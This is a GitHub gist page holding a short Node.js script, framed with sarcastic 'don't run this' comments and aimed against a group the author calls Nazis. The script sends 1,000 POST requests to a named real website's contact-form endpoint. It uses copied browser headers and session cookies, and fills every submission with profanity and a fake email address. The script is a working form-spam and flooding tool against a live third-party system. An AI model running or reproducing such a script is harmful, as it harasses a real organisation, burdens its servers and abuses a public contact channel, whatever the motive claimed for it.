Skip to content

Instantly share code, notes, and snippets.

@drewminns
Created February 15, 2022 17:43
Show Gist options
  • Save drewminns/c35ee8d463e3a16fb41bf88d3c7361ad to your computer and use it in GitHub Desktop.
Save drewminns/c35ee8d463e3a16fb41bf88d3c7361ad to your computer and use it in GitHub Desktop.
Fucking Nazis
// You don't need Node installed.
// Don't create a package.json file with `npm init -y`
// Don't tnstall node-fetch with `npm i node-fetch`
// Don't run the app with `node index.js` in your terminal
import fetch from "node-fetch";
const number = 1000;
const naziPunksGoHome = async () => {
for (let i = 0; i < number; i++) {
const request = await fetch(
"https://www.fcfes.ca/ajax/apps/formSubmitAjax.php",
{
headers: {
accept:
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"accept-language": "en-US,en;q=0.9",
"cache-control": "max-age=0",
"content-type":
"multipart/form-data; boundary=----WebKitFormBoundaryQCTHxdYjy7yLKfZZ",
"sec-fetch-dest": "iframe",
"sec-fetch-mode": "navigate",
"sec-fetch-site": "same-origin",
"sec-fetch-user": "?1",
"sec-gpc": "1",
"upgrade-insecure-requests": "1",
cookie:
"is_mobile=0; language=en; _snow_ses.629c=*; _snow_id.629c=7d5a0231-ff5b-43c3-82f6-df94f73c4923.1644942208.1.1644943123.1644942208.4e3fee88-83a6-4f88-922f-1d0b3cae4a58",
Referer: "https://www.fcfes.ca/questions-concerns-and-comments.html",
"Referrer-Policy": "strict-origin-when-cross-origin",
},
body: '------WebKitFormBoundaryQCTHxdYjy7yLKfZZ\r\nContent-Disposition: form-data; name="_u808624231392669550[first]"\r\n\r\nfuck\r\n------WebKitFormBoundaryQCTHxdYjy7yLKfZZ\r\nContent-Disposition: form-data; name="_u808624231392669550[last]"\r\n\r\nyou\r\n------WebKitFormBoundaryQCTHxdYjy7yLKfZZ\r\nContent-Disposition: form-data; name="_u684417690504455276"\r\n\r\nracist@fucks.com\r\n------WebKitFormBoundaryQCTHxdYjy7yLKfZZ\r\nContent-Disposition: form-data; name="_u366025799588978221[number]"\r\n\r\n\r\n------WebKitFormBoundaryQCTHxdYjy7yLKfZZ\r\nContent-Disposition: form-data; name="_u246788717903578542"\r\n\r\nfuckkkkkkkk you\r\n------WebKitFormBoundaryQCTHxdYjy7yLKfZZ\r\nContent-Disposition: form-data; name="wsite_subject"\r\n\r\n\r\n------WebKitFormBoundaryQCTHxdYjy7yLKfZZ\r\nContent-Disposition: form-data; name="form_version"\r\n\r\n2\r\n------WebKitFormBoundaryQCTHxdYjy7yLKfZZ\r\nContent-Disposition: form-data; name="wsite_approved"\r\n\r\napproved\r\n------WebKitFormBoundaryQCTHxdYjy7yLKfZZ\r\nContent-Disposition: form-data; name="ucfid"\r\n\r\n451504910398338888\r\n------WebKitFormBoundaryQCTHxdYjy7yLKfZZ\r\nContent-Disposition: form-data; name="recaptcha_token"\r\n\r\n\r\n------WebKitFormBoundaryQCTHxdYjy7yLKfZZ--\r\n',
method: "POST",
}
);
const data = await request.text();
console.log(data);
console.log(`********************** ${i} **********************`);
}
};
naziPunksGoHome();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment